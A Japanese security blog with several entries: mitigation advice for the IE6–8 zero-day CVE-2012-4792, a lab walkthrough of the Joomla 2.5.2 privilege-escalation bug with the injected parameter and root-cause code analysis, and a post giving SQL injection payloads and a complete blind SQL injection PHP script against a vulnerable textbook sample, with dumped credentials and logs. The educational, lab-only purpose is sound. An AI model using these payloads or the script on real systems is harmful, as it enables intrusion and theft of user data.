2013年1月1日火曜日

IE6,7,8のゼロデイ脆弱性(CVE-2012-4792)の対処法

昨年末に、Internet Explorer(IE)のゼロデイ脆弱性(CVE-2012-4792)が発表されました。既にこの脆弱性を悪用した攻撃が観察されているということですので、緊急の対応を推奨します。

概要は、Microsoft Security Advisory (2794220)にまとめられていますが、英文ですので、JVNのレポート「JVNVU#92426910 Internet Explorer に任意のコードが実行される脆弱性」をご覧になるとよいでしょう。

影響を受けるシステム:
  • Internet Explorer 6
  • Internet Explorer 7
  • Internet Explorer 8

想定される影響:
細工された HTML ドキュメントや Office ファイル等を閲覧することで、任意のコードが実行される可能性があります。

対策方法:
2012年12月31日現在、対策方法はありません。

対策方法がないということですので、IE9以降を使うか、IE以外のブラウザを使うことで回避しましょう。IE6~IE8を使う場合に、Enhanced Mitigation Experience Toolkit (EMET) を適用するなどの緩和策も紹介されていますが、EMETの設定などが今のところ示されていないことと、どこまで攻撃を緩和してくれるのか不明なので、対策パッチが出るまで下記の回避策を実施するのが良いと考えます。

追記(2013/1/9): EMETによる回避策の有効性が分かってきましたので、その設定方法を「EMET3.5でIEを防御する(CVE-2012-4792)」にまとめました。

Windows XP、Windows Server 2003ユーザ

Windows XPとWindows Server 2003にはIE9を導入できないので、IE以外のブラウザとしてGoogle Chrome、Firefox、Operaなど別のブラウザの使用を推奨します。Windows版Safariについては致命的な脆弱性があり、アップデートの予定もないことから、使用停止の勧告が既に出ています(JVN#42676559)。

追記(2013/1/8)
合同会社セキュリティ・プロフェッショナルズ・ネットワークの塩月誠人さんから、IE以外のブラウザという表記についてご指摘をいただきました。見かけ上IE以外の名称のブラウザであっても、IEエンジンを使用しているブラウザの場合、IEと同様の影響を受けます。塩月氏によると、以下のブラウザで当該脆弱性の影響を確認しているとのことです。
例)
Lunascape 6 (Tridentレンダリングエンジン)
Sleipnir 3 (IE互換モード)
Firefox + IE Tab2
Chrome + IE Tab
ご指摘の通りです。塩月さん、ありがとうございました。
(追記終わり)


この機会にWindows 8(あるいはWindows 7)への移行を検討するのもよいでしょう。

Windows Vista、Windows 7、Windows Server 2008(R2含む)ユーザ

IE9では当該脆弱性の影響を受けないとされていますので、IE9に移行することで脆弱性を回避できます。
あるいは、IE以外のブラウザ(Google Chrome、Firefox、Opera)を使うことも有力な回避策です。
普段IEを使っていない方も、この機会にIE9に移行しておきましょう。

Windows 8、Windows Server 2012ユーザ

Windows 8とWindows Server 2012には元々IE10がインストールされているので、当該脆弱性の影響は受けないと考えられます。

まとめ

IEのゼロデイ脆弱性(CVE-2012-4792)の対処方法について、Windowsのバージョンごとに紹介しました。対策パッチが出て適用するまでは、IE6~IE8は使用禁止にするしかなさそうです。
前述のとおり、Windows版Safariには致命的な脆弱性があり、アップデートの予定もないことから、使用停止の勧告が昨年の10月23日に出ています(JVN#42676559)。
現在休暇中の企業・団体が多いと思いますので、休暇明けの即座の展開を推奨します。

追記(2012/1/2 12:30)

Microsftからこの脆弱性に対するFix itが公開されました。Fix itとは、セキュリティ問題を含むさまざまな現象に対して、設定変更による解決を簡便に実施するためのプログラムです。
CVE-2012-4792に対しては、Shimというものを使った回避策を提供するFix itのようです。


あくまでも回避策であって、Fix itの説明にも下記のように説明されています。
The Fix it solution that is described in this section is not intended to be a replacement for any security update. We recommend that you always install the latest security updates. However, we offer this Fix it solution as a workaround option for some scenarios.
http://support.microsoft.com/kb/2794220
試訳
このセクションに記載したFix itソリューションは、セキュリティ更新プログラムの代替として意図したものではありません。常に最新のセキュリティ更新プログラムをインストールすることをお勧めします。しかしながら、いくつかのシナリオに対する回避策のオプションとして、このFix itソリューションを提供するものです。
ということで、回避策として有効ではあるのでしょうが、すべての脅威を取り除くことまでは期待できないようです。なんらかの理由で、IE6~IE8を残したままにしている環境では、このFix itを導入するとよいでしよう。
Fix itを導入するには、先のページにて以下のアイコンの箇所を探します。


左側が、この問題の回避策のFix ix、右側がそれを解除するためのFix itです。すなわち、通常は左側のみを導入することに注意してください。よくわからないからと両方導入してしまうと、Fix itを導入して、即座に解除することになってしまいます。

結論としては、IE6~IE8の導入された環境にはこのFix itを導入するとよいと思いますが、インターネット利用の際には、IE以外のGoogle Chrome、Firefox、Opera等を利用することを、引き続き推奨します。

2012年12月21日金曜日

Joomla2.5.2の権限昇格脆弱性

このエントリでは、Joomla!2.5.2まで(1.6.x、1.7.xも含む)に存在した権限昇格の脆弱性について説明します。 

今年5月16日に、情報通信研究機構(NICT)から以下のプレスリリースがありました。
1. 事案の概要
発生時間:
2012年5月1日14時18分~17時17分
発生場所:
研究者の情報交換のためNICT が外部公開用に設置しているWebサーバ
http://mastarpj.nict.go.jp/
サービス概要:
本Webサーバには、主に過去に開催した音声翻訳関連の研究に関する会議の情報が保存され、Webで公開するために稼働させていました。(現在は運用を停止)
2. 被害の状況
  • 上記Webサーバのトップページ(index.html)が改ざんされました。
  • 会議参加者等に係る個人情報は当該Webサーバ上にはなく、個人情報の流出はありません。
  • 詳細なアクセス解析等の結果、当該Webサーバ以外のNICTのサーバへの侵入は認められませんでした。
  • 改ざんされたトップページには、マルウェア(不正プログラム)や他の不正サイトへ誘導するリダイレクトコードの挿入等は認められませんでしたので、当該ページにアクセスされた一般ユーザの方への二次被害はありません。
http://www.nict.go.jp/info/topics/2012/05/announce120516.html
あのNICTが侵入されたということで一部で衝撃が走った(大げさ?)ようですが、NICTのオフィシャルホームページではなく、研究者が独自に設置したサイトが攻撃を受けてしまったようですね。
原因については下記のように説明されました。
3. 直接的な原因
当該Webサーバにおいて使用していたコンテンツマネジメントシステム(CMS)Joomla!2.5.1では、研究者の情報交換が円滑に行われるよう、一般ユーザ権限のアカウントを管理者のチェックなしに取得できる設定※1としていましたが、その取得の際に不正な情報を入力すること等によって一般ユーザ権限のアカウントが管理者権限のアカウントに昇格されるという脆弱性をもっていました。
このため、CMSの管理者権限のアカウントが不正に取得され、そのアカウントを用いてトップページが改ざんされました。
なお、最新※2バージョンのJoomla! 2.5.4では、今回の不正なアクセスに係る脆弱性は解消されておりますが、当該Webサーバにおいてはバージョンアップを怠っていたものです。
※1 アカウント登録方法を "Self " に設定
※2 平成24年5月15日現在
NICT は、この度の事案を重く受け止め、事実関係の調査で得られた結果を踏まえ、再発防止のための対策を講じ、更なるセキュリティ強化に取り組んでまいります。
http://www.nict.go.jp/info/topics/2012/05/announce120516.html
Joomla!2.5.1には存在し、Joomla!2.5.4では改修されている脆弱性を探したところ、以下が該当するようです。
[20120303] - Core - Privilege Escalation
中味を見ても、たいしたことは書いておらず、ネットをさらに調べたところ、以下に詳細が書いてありました。
Jeff Channell | Joomla! 1.6/1.7/2.5 Privilege Escalation Vulnerability | Joomla! | jeffchannell.com
この権限昇格の攻撃方法はまことに興味深いものです。以下、上記のエントリの内容に従い、Joomla! 2.5.2の攻撃方法とその原因、対策について説明します。

攻撃方法

まず、試験環境について説明します。Joomla!2.5.1(侵入されたNICTと同じバージョン)の管理コンソールです。左下に「Joomla! 2.5.7を今すぐアップデート」と見えていますが、アップデートすると脆弱性を試せないので、このままログアウト(退出ボタン)します。


これから先は、攻撃者の視線です。Joomla!の画面左下に、「アカウントの作成」と言うリンクが見えます。これは、一般ユーザとしてコミュニティに参加するための機能でしょうね。設定により禁止することもできますが、侵入されたサイトでは、研究者が自らユーザ登録するようにしていたようです。


 「アカウントの作成」リンクをクリックして、下記のように入力します。

 ここで、画面上では見えませんが、「パスワードの再入力」をわざと間違っておきます。ここでは、パスワードをそれぞれevil1、evil2としています。
ここから、登録ボタンを押すのですが、その際にパラメータを1つ追加する必要があります。方法はなんでもよいのですが、ここではBurp Suiteを使って追加します。

 画面の下に見えるように、「&jform[groups][]=7」は後から追加したものです。後はそのまま流します。

 パスワードが一致していないというエラーメッセージが表示されるので、今度は同じパスワードを入力して登録ボタンをクリックします。
ここから、管理画面に遷移して、今登録したevil(一般ユーザのはず)でログインしてみましょう。

攻撃者は、先ほど登録したユーザ名とパスワードを入力して、ログインボタンをクリックします。すると、管理者権限がないはずなのに、管理者としてログインできてしまいます。

ユーザメニューから、自らの権限を確認しましょう。

 evilユーザは、「システム管理者」の権限があります。これは2番目に強い権限です。最高の権限は「最高管理者」ですが、システムに一人しかいないので、新たに追加はできません。
攻撃者は、管理者権限を得ることができましたので、Joomla!のCMSとしての機能を悪用して、サイト改ざんができることになります。

脆弱性の原因

ここまで見た攻撃方法は、入力パラメータに権限の指定を追加するところは、「ありがち」なものですが、単にそうしただけでは駄目で、最初にパスワードの入力を不整合にしないと攻撃が成立しないところが面白いですね。

Joomla!2.5.2と2.5.3の該当箇所の差分を見ると、以下のようになっています。


components/com_users/models/registration.php getData() 関数内

2.5.2: $this->data->groups = isset($this->data->groups) ? array_unique($this->data->groups) : array();
2.5.3: $this->data->groups = array();

2.5.3では、groupsプロパティを強制的に空にしたようですね。これは対症療法ですので、根本原因はここではありません。
この少し上を見ると、以下の処理があります。


 $temp = (array)$app->getUserState('com_users.registration.data', array());
 foreach ($temp as $k => $v) {
   $this->data->$k = $v;
 }

これは、セッションに保存した内容をすべて$this->dataに追加しています。匂いますね。このセッション変数をセットしている箇所はどこでしょうか。幸い、com_users.registration.dataというラベルがついているので、探索は容易です。以下の箇所でセットしていました。registrationのコントローラですね。


components/com_users/controllers/registration.php register()関数

 $data = $model->validate($form, $requestData);
 // Check for validation errors.
 if ($data === false) {
   // Save the data in the session.
   $app->setUserState('com_users.registration.data', $requestData);
   // Redirect back to the registration screen.
   $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false));
   return false;
 // 中略
 // バリデーションが正常の場合
 // Flush the data from the session.
 $app->setUserState('com_users.registration.data', null);

ご覧のように、バリデーションのエラーになった場合、リクエストのデータをすべてセッションに放り込んでいます。バリデーションが正常の場合は、セッションにはnullをセットしているので、これはおそらくデータの再入力画面を表示するための処理でしょうね。
すなわち、以下の経路で、不正に指定した権限がセットされてしまったようです。
  1. パスワードをわざと不整合にしておく
  2. ユーザ登録時に jforms[groups][]=7 をPOSTパラメータに追加
  3. パリデーションでエラー発生
  4. 再入力に備えてリクエストのパラメータをすべてセッションに保存(コントローラ)
  5. モデル側で、セッションの中味をすべて取り込み
  6. 2.で追加したgroupsが取り込まれる
これに対して、Joomla! 2.5.3では、強制的に権限パラメータ(groups)を空にするという対処がなされましたが、いかにも対症療法ですね。
本来は、コントローラーからセッションに取り込む際に、「来たものをすべて取り込む」のではなく、「セッションに保存するパラメータのみを明示的に指定して取り込む」ようにすべきです。

対策

Joomla!ユーザがとるべき対処は、Joomla!の最新版へのバージョンアップです。冒頭の管理画面で、「Joomla! 2.5.7を今すぐアップデート」というボタンが見えていました。思い切って、このボタンをクリックしてみましょう。


上記の画面が表示されるので、Joomlaの行をチェックして、「更新」ボタンをクリックします。数分すると、以下の画面が表示されます。



あれあれ、Joomla!の2.5.7を導入するはずが、2.5.8が導入されています。このあたり、ちょっとゆるい感じですが、最新版は2.5.8ですのでよいことにしましょう。

最新版で攻撃を試す

念のため、この最新版で先ほどと同じ攻撃をしてみましょう。途中の過程は省略しますが、登録したユーザ(evil2)で管理者ログインしようとすると、以下のようにエラーになります。


大丈夫のようですね。念のため、正規の管理者でログインして、ユーザ一覧を確認します。

evil2は「登録ユーザ」のみで、管理者権限はありません。確かに、攻撃は成立していないようですね。

まとめ

Joomla! 2.5.2までに存在した権限昇格の脆弱性([20120303] - Core - Privilege Escalation)について説明しました。
この脆弱性を確認するために初めてJoomla!を導入しましたが、とても簡単に導入できることに驚きました。Joomla!が簡単に使えて、高機能なために人気があるというのはよく分かります。しかし、一方で脆弱性が多く発見されており、攻撃対象として狙われているため、Joomla!を導入する場合は、常に最新版にアップデートしないと危険です。

もしも、継続的なアップデート作業が難しいと言う場合は、自らJoomla!を導入するのではなく、適当なサービスをユーザとして使うことも検討すべきだと考えます。

2012年12月20日木曜日

ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012

この記事はPHP Advent Calendar 2012の20日目です。昨日はTakayuki Miwaさんの「ComposerとHerokuではじめる!PHPクラウド生活」でした。

以前、「『よくわかるPHPの教科書』のSQLインジェクション脆弱性」というタイトルで、同書のSQLインジェクション脆弱性について説明しましたが、SQLインジェクション脆弱性のあるSQL文がDELETE FROMだったので、先のエントリでは、脆弱性の悪用方法としてはデータ(ミニブログの記事)の削除を説明しました。簡単に「全ての記事を削除できる」ので重大な脆弱性ではありますが、個人情報などが漏洩する例ではありませんでした。
このエントリでは、ブラインドSQLインジェクションという技法により、DELETE FROM文の脆弱性から、個人情報を得る手法を説明します。

脆弱性のおさらい

ここで、脆弱性のおさらいをしましょう。問題の箇所は同書P272のdelete.phpです。要点のみを示します。

$id = $_REQUEST['id']; // $id : 投稿ID
$sql = sprintf('SELECT * FROM posts WHERE id=%d', mysql_real_escape_string($id)
$record = mysql_query($sql) or die(mysql_error());
$table = mysql_fetch_assoc($record);
if ($table['member_id'] == $_SESSION['id']) { // 投稿者であれば削除
  mysql_query('DELETE FROM posts WHERE id=' . mysql_real_escape_string($id)) or die(mysql_error());
}

ここには2つのSQL文が登場しますが、脆弱性があるのはDELETE FROMの方です。これがなぜ脆弱性なのかという理由については、先のエントリを参照ください。

情報漏洩の可能性はないのか?

前述のように、任意の記事を削除することは簡単にできてしまい、これ自体重大な問題ですが、「個人情報は漏洩するのか」という点に関心を持つ方も多いことでしょう。
一般論として、SQLインジェクション攻撃により情報を窃取する方法として下記があります。
  • UNION SELECTを用いる
  • エラーメッセージに情報を埋め込む
  • ブラインドSQLインジェクションを用いる
まず、UNION SELECTはこのケースでは使えません。UNION SELECTは、脆弱性のあるSQL文がSELECT文である場合に、別のテーブルと検索条件を追加することにより、本来表示されない情報を表示させる手法です。問題のケースでは元のSQL文がDELETE FROMなので、UNION SELECTは使えませんし、そもそも情報を表示する機能が元々ありません。

エラーメッセージを使う方法は、徳丸本でも説明しているものです。同書P121には下記の問い合わせにより、「本来表示されない情報」を表示させています。

cast((select id||':'||pwd from users offset 0 limit 1) as integer)

これは、表usersから、先頭の行を取り出し、列IDと列pwdを連結した文字列を数値にキャストしています。しかし、数値には変換できない文字が混ざっているために、以下のエラーメッセージが表示されています。

Query failed: ERROR: 型integerの入力構文が無効です: "yamada:pass1" in /var/wwww/44/44-001.php on line 7

しかし、MySQLの場合、上記と同じことをしてもエラーになりません。

mysql> select cast('yamada:pass1' as SIGNED );
+---------------------------------+
| cast('yamada:pass1' as SIGNED ) |
+---------------------------------+
|                               0 |
+---------------------------------+
1 row in set, 1 warning (0.00 sec)

金床本では、load_file関数の「存在しないファイル名」としてエラーメッセージ中に、クエリ結果を混入させる手法が紹介されていますが、手元のMySQL5.1.63で試したところ、下記のようにエラーメッセージは表示されず、単にNULLが返りました。金床本のリファレンスとするMySQLは4.1.16なので、MySQLのバージョン違いによるものと思います。

mysql> select load_file('xxxx');    # xxxxは存在しないファイル名
+-------------------+
| load_file('xxxx') |
+-------------------+
| NULL              |
+-------------------+
1 row in set (0.00 sec)

それでは、MySQLではエラーメッセージからの情報漏洩はできないのかというと、寺田さんのブログ記事「MySQLのエラーメッセージ」にその方法が載っています。MySQLのextractvalue関数を使う方法です。extractvalue関数は、XPATH式に従って文字列の切り出しをするものです。以下のように使います。

mysql> select extractvalue('<a><b>xss</b></a>', '/a/b');
+-------------------------------------------+
| extractvalue('<a><b>xss</b></a>', '/a/b') |
+-------------------------------------------+
| xss                                       |
+-------------------------------------------+
1 row in set (0.00 sec)

extractvalue関数の第2引数はXPATH式を指定しますが、これが構文エラーの場合、以下のようにエラーになります。

mysql> SELECT extractvalue('<a><b>xss</b></a>', '/$this is a pen');
ERROR 1105 (HY000): XPATH syntax error: '$this is a pen'

これを用いて、情報を漏洩させることができます。'this is a pen'の代わりに、SQLの副問い合わせを指定すればよいことになります。下記に例を示します。

mysql> SELECT extractvalue('',concat('/$',(SELECT email FROM members LIMIT 1 OFFSET 0) ));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp'

上記は、members表の1行目のemail列の値を副問い合わせで指定しており、「tokumaru@example.jp」を得ました。これを繰り返せば、任意表の、任意行、任意列を得ることができます。email列とpassword列を一度に得たければ、以下のようにします。

mysql> SELECT extractvalue('',concat('/$',(SELECT concat(email,':',password) FROM members LIMIT 1 OFFSET 0) ));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp:5baa61e4c9b'

おっと、パスワードはSHA-1ハッシュ値(40文字)で格納されているのに、途中でちぎれていますね。$まであわせて32文字しか表示されないようです。これを回避するには、部分文字列の関数を用いて、何回かにわけて取得すればよいでしょう。具体例は割愛します。

さて、上記をSQLインジェクション攻撃に応用しましょう。email列の取得に戻りますが、mysql_real_escape_string関数が呼ばれているので、シングルクォートは攻撃に使えません。そのため、文字列はchar関数を使って指定します。

mysql> select char(65, 66, 67);
+------------------+
| char(65, 66, 67) |
+------------------+
| ABC              |
+------------------+

先の、email列を取得するSQL文は下記となります。

mysql> select extractvalue(char(60),concat(char(47,36),(select email from members limit 1 offset 0)));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp'

シングルクォートを使っていないので、mysql_real_escape_string関数を回避できますね。
これを副問い合わせの形で指定してやるわけですが、攻撃対象のスクリプトはSQL文を2回呼び出しており、1回目はSQLインジェクション脆弱性がなく、当該の文書IDの投稿者でないと、2回目のSQL文が呼び出されません。このため、このチェックを回避してやる必要があります。

SELECT * FROM posts WHERE id= 文書IDを数値化したもの
DELETE FROM posts WHERE id= 文書IDそのまま

1回目はsprintfの%d書式により、指定した文書IDは数値化され、2回目は数値化がありません。これを利用します。攻撃者が投稿した文書のIDが35だと仮定して、以下のように指定すればこのチェックを回避できます。文書IDとして下記を指定します。

35-(攻撃用副問い合わせ)

これを呼び出すと、1回目は数値化により-(引き算)以降が削除され、投稿者のチェックは通り抜けます。2回目は数値がないので、全体がSQL文として解釈されます。URLと実行結果を以下に示しましょう。

http://example.jp/minibbs/delete.php?id=35-(select+extractvalue(char(60),concat(char(47,36),(select+email+from+members+limit+1+offset+0))))


無事に(?)email列が表示できました。表名、列名、offset値を変更すれば、データベース内の任意の情報が取得できます。

ブラインドSQLインジェクション

SQLインジェクション攻撃により情報を窃取する第3の方法として、ブラインドSQLインジェクション攻撃があります。これは、クエリの結果が表示されない前提で、SQLインジェクションによりデータを盗みだす手法です。
ブラインドSQLインジェクションにも複数の方法があります。
  • 問い合わせ結果をファイルに書き出すSQL文等を使う
  • SQL文の実行結果から1ビットの情報を得て、それを繰り返す
MySQLの場合ファイルに書き出すには、SELECT ~ INTO OUTFILE構文が使えますが、私が試した範囲では、DELETE文にうまくはめこむことができませんでした。それに、書き出しができたとして、それを取り出す手段が別途必要です。簡単なのは、Webの公開領域に書き込むという方法ですが、MySQLの実行権限ではApacheのドキュメントルートに書き込むことはできない場合が多いと考えられます。PHPのセッションファイルが/tmp/ (など誰でも書き込めるディレクトリ) に置かれる場合、PHPのセッション形式にあわせて書き込んでおくという方法もありますが、このミニブログの場合、セッションの中味をそのまま表示する箇所がなさそうです。つまり、うまくいきません。

そこで、SQL文の問い合わせから1ビットの情報を取り出す手段を考えます。具体的には下記があります。
  • 実行の時間差を使う
  • データの更新・削除の成功・失敗を使う
  • レスポンスのステータスの違い(200と500等)を使う
  • SQL文からping等通信手段を呼び出す
  • SQL文の実行エラーを使う(厳密なブラインドではない)
実行の時間を使うには、MySQLのsleep関数が利用できます。以下は、members表の1行目、email列の1文字目が'a'であれば3秒待つ問い合わせ。実際には't'なので、直ちにnullが返ります。

mysql> SELECT if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a',sleep(3),null);
+----------------------------------------------------------------------------------+
| if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a',sleep(3),null) |
+----------------------------------------------------------------------------------+
|                                                                             NULL |
+----------------------------------------------------------------------------------+
1 row in set (0.01 sec)

以下は、同じく一文字目が't'であれば3秒待つ問い合わせ。't'なので約3秒待っていますね。

mysql> SELECT if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't',sleep(3),null);
+----------------------------------------------------------------------------------+
| if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't',sleep(3),null) |
+----------------------------------------------------------------------------------+
|                                                                                0 |
+----------------------------------------------------------------------------------+
1 row in set (3.02 sec)

これは理論的には正しく動きますが、容易に想像されるように膨大な時間がかかるので、「最後の手段」という感じになります。

また、副問い合わせを調節して、条件が成立すれば削除、しなければ削除しない、というSQL文も書けますが、削除できたかどうかを問い合わせるリクエストと、削除した行を「補充する」リクエストが余分に必要です。
ということで、ここでは完全なブラインドではありませんが、エラーメッセージを使うことにします。
といっても、先のextractvalue関数を使うとブラインドにする意味がないので、ここではESCAPE句を使うことにします。
ESCAPE句というのは、SQL文のLIKE述語において、ワイルドカード文字「%」や「_」をエスケープする文字を指定する手段です。以下は、#をエスケープ文字として指定して、%を含む行を問い合わせるSQL文です。

mysql> SELECT * FROM members WHERE email LIKE '%#%%' ESCAPE '#';
Empty set (0.00 sec)

ESCAPE句に指定する文字は1文字でなければならず、それ以外はエラーになります。

mysql> SELECT * FROM members WHERE email LIKE '#%' ESCAPE '##';
ERROR 1210 (HY000): Incorrect arguments to ESCAPE

これを利用して、1ビットの情報を得ることができます。

先ほどと同様に、一文字目が 'a' かどうかを問い合わせて、'a'ではないので、ESCAPE句が 'AB' (2文字)となり、エラーとなる例。

mysql> SELECT id FROM members WHERE id LIKE 'X' ESCAPE if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a', 'A','AB');
ERROR 1210 (HY000): Incorrect arguments to ESCAPE

先ほどと同様に、一文字目が 't' かどうかを問い合わせて、真なので、ESCAPE句が 'A' (1文字)となり、エラーにはならない例。

mysql> SELECT id FROM members WHERE id LIKE 'X' ESCAPE if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't', 'A','AB');
Empty set (0.00 sec)

これを何回も繰り返すことにより、テーブルの内容を盗み出すことができます…が、さすがに人手でやるのは苦行なので、スクリプトでやります。

…ということで、実は今までは長い前置きで、ここからが本題ですw ブラインドSQLインジェクション攻撃のスクリプトをPHPで書いてみましょう。

ブラインドSQLインジェクションのPHPスクリプト

攻撃対象とはHTTPで接続するので、適当なHTTP接続ライブラリが必要になりますが、ここではcURL関数を使いました。前にphpMyAdminのexploitで使っていたので、試してみたかっただけです。

スクリプトの中味ですが、攻撃対象は認証が必要ですので、Cookieを有効にして、IDとパスワード(攻撃用の捨てアカウント)をPOSTします。

<?php
define('BASEURL', 'http://192.168.0.10');
define('DOCID', 18);    // 攻撃者が投稿した文書のID
// 略
// cURL初期化
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

// 以下、ログイン
curl_setopt($ch, CURLOPT_URL, BASEURL . '/minibbs/login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'email=sato@example.jp&password=password&save=on');
curl_exec($ch);

この状態で、sato@example.jpでログインしてリクエストができるようになります。
攻撃で得る情報は、members表のemailとpassword列にしましょう。これらの文字種は、英数字、ドット、ハイフン、アンダースコアとして、これらの文字の集合を求めましょう。バイナリサーチの都合で文字コード順に並べておきます。

// $chars .. 探索候補文字のコードの配列
$chars = array();
for ($ch = 32; $ch < 128; $ch++) {
  if (preg_match('/[\.\-\_\@0-9A-Z]/', chr($ch))) {
    $chars[] = $ch;
  }
}

探索のループは以下のようになります。行、列、n文字目の三重ループがあり、そのなかで、おおまかな範囲を二分探索で絞り、そこからリニアサーチで該当文字を求めています。

// 表の1行目から3行目を求めるループ
for ($num = 0; $num < 3; $num++) {
  // 列emailと列passwordを求めるループ
  foreach (array('email', 'password') as $colname) {
    $result = '';
    // 1文字目から順に求めるループ
    for ($p = 1;; $p++) {
      // 解が得られているかどうかのチェック
      $result_array = char_array($result);
      if (check1($ch, "(SELECT $colname FROM members LIMIT $num,1)=$result_array")) {
        echo "match : $result\n";  // 解が得られているので表示してループ脱出
        break;
      }
      // 以下、$p文字目を求める二分探索。ここでは大ざっぱな範囲の絞り込みのみ
      $min = 0;
      $max = count($chars) - 1;
      while ($max - $min > 2) {
        $pivot = $min + ceil(($max - $min) / 2);  // ピボットの位置を計算
        $chrcode = $chars[$pivot];   // ピボットの位置の文字コード
        if (check1($ch, "substr((SELECT $colname FROM members LIMIT $num,1),$p,1)>=char($chrcode)")) {
          $min = $pivot;
        } else {
          $max = $pivot - 1;
        }
      }

      // 以下、$p文字目を求める線形探索
      $found = 0;
      for ($pivot = $min; $pivot <= $max; $pivot++) {
        $chrcode = $chars[$pivot];
        if (check1($ch, "substr((SELECT $colname FROM members LIMIT $num,1),$p,1)=char($chrcode)")) {
          $found = 1;
          break;
        }
      }
      if (! $found) {
        echo "not found\n";
        break;
      }
      $result .= chr($chars[$pivot]);
    }
  }
}

check1関数は、ブラインドSQLインジェクションの一リクエストを組み立てて送信するものです。
function check1($ch, $condition) {
  // ESCAPE句によるブラインドの定型的なSQL文
  $subquery = "(SELECT id FROM members WHERE id LIKE char(88) ESCAPE if($condition,char(49),char(49,50)))";
  $url = BASEURL . '/minibbs/delete.php?id=' . DOCID . '-' . urlencode($subquery);
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, 0);
  $response = curl_exec($ch);   // HTTPリクエスト発射
  return ! preg_match('/Incorrect/', $response);  // エラーメッセージがレスポンスになければTRUE
}
また、char_array()関数は、文字列をMySQLのchar()関数の呼び出しに変換して、シングルクォートを回避するための関数です。
function char_array($s) {
  if ($s === '')
    return 'char(0)';
  return 'char(' . implode(',', unpack('C*', $s)) . ')';
}

実行結果を以下に示します。1行あたり1秒程度で求められていますから、結構実用的ですね。
$ time php blindsqlinjection.php
match : TOKUMARU@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
match : SATO@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
match : YAMADA@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8

real    0m2.977s
user    0m0.004s
sys     0m0.508s

高速化するためには、クエリを並列化すればよいでしょう。一番外側のループをスレッド(あるいはプロセス)に割りあてて並行処理させると高速化できます。ただし、サーバーに負荷がかかり、ばれやすくなりますので、むしろゆっくり時間を掛けて攻撃した方がよいかもしれません(攻撃するなよ、絶対するなよ)。
サーバーのログを見ると、以下のようなリクエストが並びます。

192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2872%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2856%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2867%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2864%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3Dchar%2856%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%3Dchar%2853%2C66%2C65%2C65%2C54%2C49%2C69%2C52%2C67%2C57%2C66%2C57%2C51%2C70%2C51%2C70%2C48%2C54%2C56%2C50%2C50%2C53%2C48%2C66%2C54%2C67%2C70%2C56%2C51%2C51%2C49%2C66%2C55%2C69%2C69%2C54%2C56%2C70%2C68%2C56%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -

まとめ

『よくわかるPHPの教科書』の脆弱性のあるサンプルを題材として、SQLインジェクション攻撃により個人情報を窃取する方法を説明しました。善良な皆様が攻撃方法を深く理解する必要はないわけですが、ここに示すような手法を駆使して、攻撃者は情報をとっていくという、その様子を理解いただければ幸いです。
当然ながら、インターネット上のサイトにこの種の攻撃をかけると、不正アクセス禁止法その他の法令違反ですので、試験環境での実験にとどめて下さい。

2012年12月17日月曜日

セッションフィクセイション脆弱性の影響を受けやすいサイトとは

